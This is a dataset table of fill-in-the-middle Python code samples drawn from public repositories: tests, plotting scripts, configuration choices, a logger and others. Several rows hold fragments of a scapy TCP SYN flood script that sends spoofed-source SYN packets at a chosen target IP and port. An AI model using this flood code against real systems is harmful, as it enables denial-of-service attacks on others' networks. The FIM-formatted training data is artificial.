text stringlengths 232 16.3k | domain stringclasses 1
value | difficulty stringclasses 3
values | meta dict |
|---|---|---|---|
<|fim_prefix|># repo: BigData-Tools/everest path: /everest/querying/interfaces.py
"""
Interfaces for specifications and related classes.
This file is part of the everest project.
See LICENSE.txt for licensing, CONTRIBUTORS.txt for contributor information.
Created on Dec 2, 2011.
"""
from zope.interface import Attr... | code_fim | hard | {
"lang": "python",
"repo": "BigData-Tools/everest",
"path": "/everest/querying/interfaces.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Visiting operation for value less than or equal to specifications.
"""
def _greater_than_op(spec):
"""
Visiting operation for value greater than specifications.
"""
def _greater_than_or_equal_to_op(spec):
"""
Visiting operation ... | code_fim | hard | {
"lang": "python",
"repo": "BigData-Tools/everest",
"path": "/everest/querying/interfaces.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def _greater_than_or_equal_to_op(spec):
"""
Visiting operation for value greater than or equal to specifications.
"""
def _in_range_op(spec):
"""
Visiting operation for value in range specifications.
"""
class IOrderSpecificationVisitor(ISpecifica... | code_fim | hard | {
"lang": "python",
"repo": "BigData-Tools/everest",
"path": "/everest/querying/interfaces.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> def test_requires(self):
"""Test to ensure requirements can be added on the fly"""
assert self.route.requires(("values",)).route["requires"] == ("values",)
def test_map_params(self):
"""Test to ensure it is possible to set param mappings on the routing object"""
as... | code_fim | hard | {
"lang": "python",
"repo": "timothycrosley/hug_core",
"path": "/tests/test_routing.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> route = LocalRouter(name="cli", doc="Hi there!", transform="transform", output="output")
def test_validate(self):
"""Test to ensure changing wether a local route should validate or not works as expected"""
assert "skip_validation" not in self.route.route
route = self.rout... | code_fim | hard | {
"lang": "python",
"repo": "timothycrosley/hug_core",
"path": "/tests/test_routing.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: timothycrosley/hug_core path: /tests/test_routing.py
"""tests/test_output_format.py
Tests that the hug_core routing functionality works as expected
Copyright (C) 2016 Timothy Edmund Crosley
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associ... | code_fim | hard | {
"lang": "python",
"repo": "timothycrosley/hug_core",
"path": "/tests/test_routing.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: confluentinc/kafka path: /tests/kafkatest/services/trogdor/network_partition_fault_spec.py
# Licensed to the Apache Software Foundation (ASF) under one or more
# contributor license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright owners... | code_fim | hard | {
"lang": "python",
"repo": "confluentinc/kafka",
"path": "/tests/kafkatest/services/trogdor/network_partition_fault_spec.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>class NetworkPartitionFaultSpec(TaskSpec):
"""
The specification for a network partition fault.
Network partition faults fracture the network into different partitions
that cannot communicate with each other.
"""
def __init__(self, start_ms, duration_ms, partitions):
"""
... | code_fim | medium | {
"lang": "python",
"repo": "confluentinc/kafka",
"path": "/tests/kafkatest/services/trogdor/network_partition_fault_spec.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mcvenkat/Python-Programs path: /S5-Select-Widgets-Drawing-Spans-Dynamically.py
from bokeh.plotting import figure
from bokeh.io import curdoc
from bokeh.sampledata.periodic_table import elements
from bokeh.models import Range1d, PanTool, ResetTool, HoverTool, ColumnDataSource, LabelSet, Select
... | code_fim | hard | {
"lang": "python",
"repo": "mcvenkat/Python-Programs",
"path": "/S5-Select-Widgets-Drawing-Spans-Dynamically.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>#Create a function that updates the location attribute value for span_solid_boil span
#Also note that select.value returns values as strings so we need to convert the returned value to float
def update_span(attr, old, new):
span_solid_boil.location=float(select.value)
#Select widgets expect a li... | code_fim | hard | {
"lang": "python",
"repo": "mcvenkat/Python-Programs",
"path": "/S5-Select-Widgets-Drawing-Spans-Dynamically.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>#Select widgets expect a list of tuples of strings, so List[Tuple(String, String)], that's why you should convert average, max, and min to strings
options=[(str(solid_average_boil),"Solid Average Boiling Point"),(str(solid_min_boil),"Solid Minimum Boiling Point"),(str(solid_max_boil),"Solid Maximum Boili... | code_fim | hard | {
"lang": "python",
"repo": "mcvenkat/Python-Programs",
"path": "/S5-Select-Widgets-Drawing-Spans-Dynamically.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> ## Collect the range of the words that is within the target word by using text.tokens[start;end].
## The map function is use so that when the offset position - the target range < 0, it will be default to zero
concordance_txt = ([text.tokens[list(map(lambda x: x-5 if (x-left_margin)>0 else 0,[o... | code_fim | medium | {
"lang": "python",
"repo": "makergabriel/gearmood",
"path": "/src/shake/nlp_scratchpad.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: makergabriel/gearmood path: /src/shake/nlp_scratchpad.py
import nltk
from nltk.tokenize import sent_tokenize
from nltk.tokenize import word_tokenize
from nltk.corpus import wordnet
# synonyms = []
# antonyms = []
# for synset_name in cut_words:
# for synset in wordnet.synsets(synset_name):
# ... | code_fim | hard | {
"lang": "python",
"repo": "makergabriel/gearmood",
"path": "/src/shake/nlp_scratchpad.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: makinacorpus/makina-states path: /doc/sphinx/mc_states/modules/mc_screen.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
.. _module_mc_screen:
mc_screen / screen registry
============================================
If you alter this module and want to test it, do not forget
to deploy i... | code_fim | hard | {
"lang": "python",
"repo": "makinacorpus/makina-states",
"path": "/doc/sphinx/mc_states/modules/mc_screen.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>def settings():
'''
screen registry
'''
@mc_states.api.lazy_subregistry_get(__salt__, __name)
def _settings():
saltmods = __salt__
grains = __grains__
locations = __salt__['mc_locations.settings']()
data = saltmods['mc_utils.defaults'](
'mak... | code_fim | hard | {
"lang": "python",
"repo": "makinacorpus/makina-states",
"path": "/doc/sphinx/mc_states/modules/mc_screen.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def settings():
'''
screen registry
'''
@mc_states.api.lazy_subregistry_get(__salt__, __name)
def _settings():
saltmods = __salt__
grains = __grains__
locations = __salt__['mc_locations.settings']()
data = saltmods['mc_utils.defaults'](
'ma... | code_fim | medium | {
"lang": "python",
"repo": "makinacorpus/makina-states",
"path": "/doc/sphinx/mc_states/modules/mc_screen.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jina-ai/jina path: /tests/unit/orchestrate/flow/flow-construct/test_flow_monitoring.py
import pytest
from jina import Executor, Flow, requests
@pytest.fixture()
def get_executor():
class DummyExecutor(Executor):
@requests(on='/foo')
def foo(self, docs, **kwargs):
... | code_fim | hard | {
"lang": "python",
"repo": "jina-ai/jina",
"path": "/tests/unit/orchestrate/flow/flow-construct/test_flow_monitoring.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> assert f._deployment_nodes['gateway'].pod_args['pods'][0][0].monitoring
assert not f._deployment_nodes['executor0'].pod_args['pods'][0][0].monitoring
def test_disable_monitoring_on_gatway_only(port_generator, get_executor):
port0 = port_generator()
port1 = port_generator()
f = Flow(... | code_fim | hard | {
"lang": "python",
"repo": "jina-ai/jina",
"path": "/tests/unit/orchestrate/flow/flow-construct/test_flow_monitoring.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def write_log(self, msg, level = "DEBUG"):
"""
log the message to the console
"""
if len(self.parent)> 13:
spacer = "\t"
elif len(self.parent) < 8:
spacer = "\t\t\t"
else:
spacer = "\t\t"
lo... | code_fim | medium | {
"lang": "python",
"repo": "9h03n1x/AD_project",
"path": "/src/logger/logger.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 9h03n1x/AD_project path: /src/logger/logger.py
'''
Created on 10.03.2019
@author: Nicco
'''
class logger():
'''
classdocs
'''
<|fim_suffix|> log = level + "\t" + self.parent +spacer +str(msg)
print(log)<|fim_middle|> def __init__(self, parent):
... | code_fim | hard | {
"lang": "python",
"repo": "9h03n1x/AD_project",
"path": "/src/logger/logger.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> '''
Constructor
'''
self.parent = parent
def write_log(self, msg, level = "DEBUG"):
"""
log the message to the console
"""
if len(self.parent)> 13:
spacer = "\t"
elif len(self.parent) < 8:
... | code_fim | medium | {
"lang": "python",
"repo": "9h03n1x/AD_project",
"path": "/src/logger/logger.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> send(IP_Packet / TCP_Packet, verbose=0)
total += 1
stdout.write("\nTotal packets sent: %i\n" % total)
def main():
parser = ArgumentParser()
parser.add_argument("--target", "-t", help="target IP address")
parser.add_argument("--port", "-p", help="target port number")
... | code_fim | hard | {
"lang": "python",
"repo": "ryuichi1208/tcp-syn-flood",
"path": "/tcp_syn.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ryuichi1208/tcp-syn-flood path: /tcp_syn.py
#!/usr/bin/python3
from sys import stdout
from scapy.all import *
from random import randint
from argparse import ArgumentParser
"""
FIN = 0x01
SYN = 0x02
RST = 0x04
PSH = 0x08
ACK = 0x10
URG = 0x20
ECE = 0x40
CWR = 0x80
"""
def randomIP():
ip = ... | code_fim | hard | {
"lang": "python",
"repo": "ryuichi1208/tcp-syn-flood",
"path": "/tcp_syn.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> TCP_Packet = TCP()
TCP_Packet.sport = s_port
TCP_Packet.dport = int(dstPort)
TCP_Packet.flags = flags
TCP_Packet.seq = s_eq
TCP_Packet.window = w_indow
send(IP_Packet / TCP_Packet, verbose=0)
total += 1
stdout.write("\nTotal packets sen... | code_fim | hard | {
"lang": "python",
"repo": "ryuichi1208/tcp-syn-flood",
"path": "/tcp_syn.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Ascend/ModelZoo-PyTorch path: /PyTorch/built-in/others/WDL_for_PyTorch/pthtar2onnx.py
# -*- coding: utf-8 -*-
# Copyright 2021 Huawei Technologies Co., Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You... | code_fim | hard | {
"lang": "python",
"repo": "Ascend/ModelZoo-PyTorch",
"path": "/PyTorch/built-in/others/WDL_for_PyTorch/pthtar2onnx.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> sparse_features = ['C' + str(i) for i in range(1, 27)]
dense_features = ['I' + str(i) for i in range(1, 14)]
sparse_nunique = [1460, 583, 10131227, 2202608, 305, 24, 12517, 633, 3, 93145, 5683, 8351593, 3194, 27, 14992,
5461306, 10, 5652, 2173, 4, 7046547, 18, 15, 286181... | code_fim | hard | {
"lang": "python",
"repo": "Ascend/ModelZoo-PyTorch",
"path": "/PyTorch/built-in/others/WDL_for_PyTorch/pthtar2onnx.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> Returns a string with base 64 encoded concatenation of diffferentiae.
If `differentia_bit_width` is not an even byte multiple, the first encoded
byte tells how many empty padding bits, if any, were placed at the end of
the concatenation in order to align the bitstring end to byte boundarie... | code_fim | hard | {
"lang": "python",
"repo": "mmore500/hstrat",
"path": "/hstrat/serialization/_pack_differentiae_str.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: mmore500/hstrat path: /hstrat/serialization/_pack_differentiae_str.py
import typing
from ..genome_instrumentation import HereditaryStratum
from ._impl import stringify_packed_differentia_bytes
from ._pack_differentiae_bytes import pack_differentiae_bytes
<|fim_suffix|> Returns a string with... | code_fim | hard | {
"lang": "python",
"repo": "mmore500/hstrat",
"path": "/hstrat/serialization/_pack_differentiae_str.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>STATUS_CHOICES = [
("1", "Put Under Review"),
("2", "Scheduled For Interview"),
("3", "Selected"),
("4", "Rejected"),
]<|fim_prefix|># repo: SakshiUppoor/placement-portal-web path: /placementApp/choices.py
DEPARTMENT_CHOICES = [
("COMPS", "Computer"),
("IT", "Information Technolog... | code_fim | medium | {
"lang": "python",
"repo": "SakshiUppoor/placement-portal-web",
"path": "/placementApp/choices.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>CATEGORY_CHOICES = [("S", "Super Dream"), ("D", "Dream"), ("R", "Regular")]
STATUS_CHOICES = [
("1", "Put Under Review"),
("2", "Scheduled For Interview"),
("3", "Selected"),
("4", "Rejected"),
]<|fim_prefix|># repo: SakshiUppoor/placement-portal-web path: /placementApp/choices.py
DEPART... | code_fim | medium | {
"lang": "python",
"repo": "SakshiUppoor/placement-portal-web",
"path": "/placementApp/choices.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: SakshiUppoor/placement-portal-web path: /placementApp/choices.py
DEPARTMENT_CHOICES = [
("COMPS", "Computer"),
("IT", "Information Technology"),
("EXTC", "Electronics & Telecommunication"),
("PROD", "Production"),
("MECH", "Mechanical"),
("BIO", "Biomedical"),
("ELEX",... | code_fim | medium | {
"lang": "python",
"repo": "SakshiUppoor/placement-portal-web",
"path": "/placementApp/choices.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
def __init__(self):
con = pymongo.MongoClient(
settings['MONGODB_SERVER'],
settings['MONGODB_POST']
)
db = con['lagou_test']
db.lagou.create_index(
[('positionId', pymongo.ASCENDING)],
unique = True
)
sel... | code_fim | hard | {
"lang": "python",
"repo": "LAsbun/scrapy_practice",
"path": "/scrapy_practice/pipelines.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: LAsbun/scrapy_practice path: /scrapy_practice/pipelines.py
# -*- coding: utf-8 -*-
# Define your item pipelines here
#
# Don't forget to add your pipeline to the ITEM_PIPELINES setting
# See: http://doc.scrapy.org/en/latest/topics/item-pipeline.html
import json
from scrapy.exceptions import Dr... | code_fim | hard | {
"lang": "python",
"repo": "LAsbun/scrapy_practice",
"path": "/scrapy_practice/pipelines.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: Phidelux/Ezrael path: /core/msghandler.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
class MessageHandler(object):
@staticmethod
def norm_channel(channel):
if channel[0] == "#":
return channel
return "#" + channel
def send(self, data):
pass
... | code_fim | hard | {
"lang": "python",
"repo": "Phidelux/Ezrael",
"path": "/core/msghandler.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> def quit_channel(self, channel):
channel = self.norm_channel(channel)
self.send("PART {0} \r\n".format(channel).encode())
# This needs to modify the list of active channels<|fim_prefix|># repo: Phidelux/Ezrael path: /core/msghandler.py
#!/usr/bin/env python
# -*- coding: utf-8... | code_fim | hard | {
"lang": "python",
"repo": "Phidelux/Ezrael",
"path": "/core/msghandler.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>n_rows = 128
n_cols = 8
seats = []
for line in lines:
seat_id = get_id(line)
seats.append(seat_id)
print(max(seats))<|fim_prefix|># repo: JoshW-7/AdventOfCode path: /2020/Day 5/part1.py
def get_id(seat_encoding):
seat_id = None
row_data = seat_encoding[0:7]
col_data = seat_encoding... | code_fim | medium | {
"lang": "python",
"repo": "JoshW-7/AdventOfCode",
"path": "/2020/Day 5/part1.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: JoshW-7/AdventOfCode path: /2020/Day 5/part1.py
def get_id(seat_encoding):
seat_id = None
row_data = seat_encoding[0:7]
col_data = seat_encoding[7:]
# Get row
low,high = (0, n_rows)
for c in row_data:
width = high - low
if c == "F":
high = lo... | code_fim | hard | {
"lang": "python",
"repo": "JoshW-7/AdventOfCode",
"path": "/2020/Day 5/part1.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ENCODE-DCC/encoded path: /src/encoded/audit/ontology_data.py
biosampleType_ontologyPrefix = {
'tissue': ['UBERON'],
'whole organisms': ['UBERON'],
'primary cell': ['CL'],
'cell line': ['EFO', 'C<|fim_suffix|>000763': 'siRNA knockdown followed by RNA-seq',
'NTR:0003660': 'micro... | code_fim | medium | {
"lang": "python",
"repo": "ENCODE-DCC/encoded",
"path": "/src/encoded/audit/ontology_data.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>000763': 'siRNA knockdown followed by RNA-seq',
'NTR:0003660': 'microRNA counts',
'NTR:0003814': 'CRISPR genome editing followed by RNA-seq',
'NTR:0000612': 'Switchgear',
'NTR:0004774': 'genetic modification followed by DNase-seq',
'NTR:0004619': 'CRISPRi followed by RNA-seq'
}<|fim_pr... | code_fim | medium | {
"lang": "python",
"repo": "ENCODE-DCC/encoded",
"path": "/src/encoded/audit/ontology_data.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>
'NTR:0000612': 'Switchgear',
'NTR:0004774': 'genetic modification followed by DNase-seq',
'NTR:0004619': 'CRISPRi followed by RNA-seq'
}<|fim_prefix|># repo: ENCODE-DCC/encoded path: /src/encoded/audit/ontology_data.py
biosampleType_ontologyPrefix = {
'tissue': ['UBERON'],
'whole org... | code_fim | hard | {
"lang": "python",
"repo": "ENCODE-DCC/encoded",
"path": "/src/encoded/audit/ontology_data.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> @patch("samcli.commands.deploy.guided_context.prompt")
@patch("samcli.commands.deploy.guided_context.confirm")
@patch("samcli.commands.deploy.guided_context.manage_stack")
def test_guided_prompts_check_defaults(self, patched_manage_stack, patched_confirm, patched_prompt):
# Series ... | code_fim | hard | {
"lang": "python",
"repo": "pyk/aws-sam-cli",
"path": "/tests/unit/commands/deploy/test_guided_context.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: pyk/aws-sam-cli path: /tests/unit/commands/deploy/test_guided_context.py
from unittest import TestCase
from unittest.mock import patch, call, ANY
import click
from samcli.commands.deploy.guided_context import GuidedContext
class TestGuidedContext(TestCase):
def setUp(self):
<|fim_suffix|>... | code_fim | hard | {
"lang": "python",
"repo": "pyk/aws-sam-cli",
"path": "/tests/unit/commands/deploy/test_guided_context.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jleung51/resttest path: /example.py
#!/usr/bin/env python3
from resttest import ApiTest
import logging
import unittest
import requests
SERVER_URL = "http://localhost:8080"
URLS = dict(
HEALTH_CHECK=SERVER_URL,
ABOUT=SERVER_URL + '/api/about',
DUMP_MODEL=SERVER_URL + '/api/dump-mod... | code_fim | hard | {
"lang": "python",
"repo": "jleung51/resttest",
"path": "/example.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # When
resp = self.send_request(url, headers=self.headers)
# Then
self.assert_resp_code(resp, requests.codes.OK)
sections = self.get_resp_body_list(resp)
self.assertTrue(len(sections), 'Response body is empty, but must contain a list of sections.')
... | code_fim | hard | {
"lang": "python",
"repo": "jleung51/resttest",
"path": "/example.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> response = request(
url, headers=self.http_headers(), data=payload, verify=True)
if response.status_code == 404:
msg = "The object request cannot be found"
if response.json().get('message'):
body = response.json()
return respo... | code_fim | hard | {
"lang": "python",
"repo": "aminubakori/pypayant",
"path": "/pypayant/base.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: aminubakori/pypayant path: /pypayant/base.py
import os
import requests
import json
from pypayant import __version__
from pypayant.errors import AuthKeyError, HttpMethodError
class BasePayantAPI(object):
"""
"""
_content_type = "application/json"
_base_url = {
"demo": "... | code_fim | hard | {
"lang": "python",
"repo": "aminubakori/pypayant",
"path": "/pypayant/base.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: 77ph/tgnews path: /news.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Mon Dec 2 21:01:59 2019
@author: innerm
"""
import json
import pandas as pd
<|fim_suffix|>df=pd.DataFrame()
df1=pd.read_csv(file_en)
df2=pd.read_csv(file_ru)
df=df.append(df1)
df=df.append(df1)
del df1,df... | code_fim | easy | {
"lang": "python",
"repo": "77ph/tgnews",
"path": "/news.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>file_en='stage41.csv'
file_ru='stage42.csv'
df=pd.DataFrame()
df1=pd.read_csv(file_en)
df2=pd.read_csv(file_ru)
df=df.append(df1)
df=df.append(df1)
del df1,df2
df1=df[df.real_news==1]
del df
files=df1.files.tolist()
del df1
keyList=['news']
edict={'articles':files}
exp=keyList[0]
n={exp:edict}
print(jso... | code_fim | easy | {
"lang": "python",
"repo": "77ph/tgnews",
"path": "/news.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: apanov/casumper path: /casumper.py
import sys,struct
PYTHONUNBUFFERED = "true"
PY3K = sys.version_info >= (3, 0)
def readUtf(bytes, offset):
length = struct.unpack(">h", bytes[offset + 0: offset + 2])[0]
name = bytes[offset + 2:offset + length+2]
return name
if PY3K:
print "P... | code_fim | medium | {
"lang": "python",
"repo": "apanov/casumper",
"path": "/casumper.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>
# print "Key length:", length
if length < 10 or length > 1000000000:
print 'Wrong length'
continue
data = source.read(length)
# TODO check CRC
crc = struct.unpack_from('>LL', source.read(8))[1]
table = readUtf(data, 0)
key = readUtf(data, len(table) + 2)
... | code_fim | medium | {
"lang": "python",
"repo": "apanov/casumper",
"path": "/casumper.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: DataONEorg/d1_python path: /gmn/src/d1_gmn/app/management/commands/whitelist-remove.py
# This work was created by participants in the DataONE project, and is
# jointly copyrighted by participating institutions in DataONE. For
# more information on DataONE, see our web site at http://dataone.org.
... | code_fim | medium | {
"lang": "python",
"repo": "DataONEorg/d1_python",
"path": "/gmn/src/d1_gmn/app/management/commands/whitelist-remove.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>"""
import d1_gmn.app
import d1_gmn.app.mgmt_base
import d1_gmn.app.models
class Command(d1_gmn.app.mgmt_base.GMNCommandBase):
def __init__(self, *args, **kwargs):
super().__init__(__doc__, __name__, *args, **kwargs)
def add_arguments(self, parser):
parser.add_argument("subject... | code_fim | hard | {
"lang": "python",
"repo": "DataONEorg/d1_python",
"path": "/gmn/src/d1_gmn/app/management/commands/whitelist-remove.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|>446,7227,6151,503,1367,5396,9645,-361,9317,2667,2735,1224,6687,8485,2565,1055,8723,4965,8675,2611,9534,3661,511,6929,4668,2734,6503,1325,7322,3390,9864,2976,2158,5116,5864,2719,3720,2555,8877,8625,2232,3942,1084,6029,3555,1374,616,533,7791,7466,1212,9619,9073,280,6521,713,494,5435,3423,6602,9608,-12,3012,... | code_fim | hard | {
"lang": "python",
"repo": "HearyShen/leetcode-cn",
"path": "/problems/count-of-smaller-numbers-after-self/solution.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: HearyShen/leetcode-cn path: /problems/count-of-smaller-numbers-after-self/solution.py
357,5650,2942,8299,9903,6113,6863,5918,5566,88,1656,577,353,6898,-140,355,9077,2086,3444,1394,8028,6087,6945,7727,6227,9045,6251,199,1786,1386,261,5729,3632,273,7530,4201,-113,2496,7881,6985,6048,6924,2946,7578,... | code_fim | hard | {
"lang": "python",
"repo": "HearyShen/leetcode-cn",
"path": "/problems/count-of-smaller-numbers-after-self/solution.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: HearyShen/leetcode-cn path: /problems/count-of-smaller-numbers-after-self/solution.py
,2687,7013,9229,9719,8389,3788,413,3134,9912,-130,3942,9385,8005,382,7591,5967,8599,1488,8135,46,7545,7559,1141,2087,8309,7401,3785,3922,8976,-329,7591,3620,3660,7550,9652,3206,5868,967,6967,4054,5065,7769,-403,... | code_fim | hard | {
"lang": "python",
"repo": "HearyShen/leetcode-cn",
"path": "/problems/count-of-smaller-numbers-after-self/solution.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> cmake = shutil.which("cmake")
if not cmake:
# try to help if Homebrew or Ports is not on PATH
if sys.platform == "darwin":
paths = ["/opt/homebrew/bin", "/usr/local/bin", "/opt/local/bin"]
for path in paths:
cmake = shutil.which("cmake", path... | code_fim | medium | {
"lang": "python",
"repo": "scivision/cmakeutils",
"path": "/example/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: scivision/cmakeutils path: /example/__init__.py
from __future__ import annotations
import subprocess
import shutil
import sys
__all__ = ["cmake_exe"]
def cmake_exe() -> str:
<|fim_suffix|> cmake_version = (
subprocess.check_output([cmake, "--version"], text=True)
.split("\n"... | code_fim | hard | {
"lang": "python",
"repo": "scivision/cmakeutils",
"path": "/example/__init__.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if not cmake:
raise FileNotFoundError("CMake not found. Try:\n pip install cmake")
cmake_version = (
subprocess.check_output([cmake, "--version"], text=True)
.split("\n")[0]
.split(" ")[2]
)
print("Using CMake", cmake_version)
return cmake<|fim_pr... | code_fim | hard | {
"lang": "python",
"repo": "scivision/cmakeutils",
"path": "/example/__init__.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: piapiaQ/Highmark path: /Claim/Preprocessing/reorder_tma_for_each_file.py
# -*- coding: utf-8 -*-
"""
Created on Sun Sep 13 18:02:39 2020
@author: qiaoz
"""
import pandas as pd
import numpy as np
import os
os.chdir(r'D:\CMU\HIghmark Project\data\raw_claim_data')
# ===============================... | code_fim | hard | {
"lang": "python",
"repo": "piapiaQ/Highmark",
"path": "/Claim/Preprocessing/reorder_tma_for_each_file.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|># =============================================================================
#create my anomaly mapping
# =============================================================================
split_into_multiple_file(data,16,'data_sorted','D://CMU//HIghmark Project//data//sorted_data//')
#find claims number t... | code_fim | hard | {
"lang": "python",
"repo": "piapiaQ/Highmark",
"path": "/Claim/Preprocessing/reorder_tma_for_each_file.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: esp10mm/pywal path: /pywal/theme.py
"""
Theme file handling.
"""
import logging
import os
import random
import sys
from .settings import CONF_DIR, MODULE_DIR
from . import util
def list_themes():
"""List all installed theme files."""
themes = [*os.scandir(os.path.join(CONF_DIR, "colors... | code_fim | hard | {
"lang": "python",
"repo": "esp10mm/pywal",
"path": "/pywal/theme.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def parse(theme_file):
"""Parse the theme file."""
data = util.read_file_json(theme_file)
if "wallpaper" not in data:
data["wallpaper"] = "None"
if "alpha" not in data:
data["alpha"] = "100"
# Terminal.sexy format.
if "color" in data:
data = terminal_sexy... | code_fim | hard | {
"lang": "python",
"repo": "esp10mm/pywal",
"path": "/pywal/theme.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> util.create_dir(os.path.dirname(user_theme_file))
# Find the theme file.
if os.path.isfile(input_file):
theme_file = input_file
elif os.path.isfile(user_theme_file):
theme_file = user_theme_file
elif input_file == "random":
themes = [theme.path for theme in l... | code_fim | hard | {
"lang": "python",
"repo": "esp10mm/pywal",
"path": "/pywal/theme.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>CONTOH KELUARAN
2 2
0
CONTOH MASUKAN
7
1 6 5 0 9 3 4
CONTOH KELUARAN
0 1 3 4 5 6 9
6
'''
import sys
# Ignore the first input
input()
list_to_be_sorted = list(map(int, input().split()))
# Selection sort
list_length = len(list_to_be_sorted)
converts_count = 0
for i in range(list_length):
smal... | code_fim | hard | {
"lang": "python",
"repo": "refeed/PAlgoritmaTRPLA",
"path": "/DES_1_2020/quizA.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
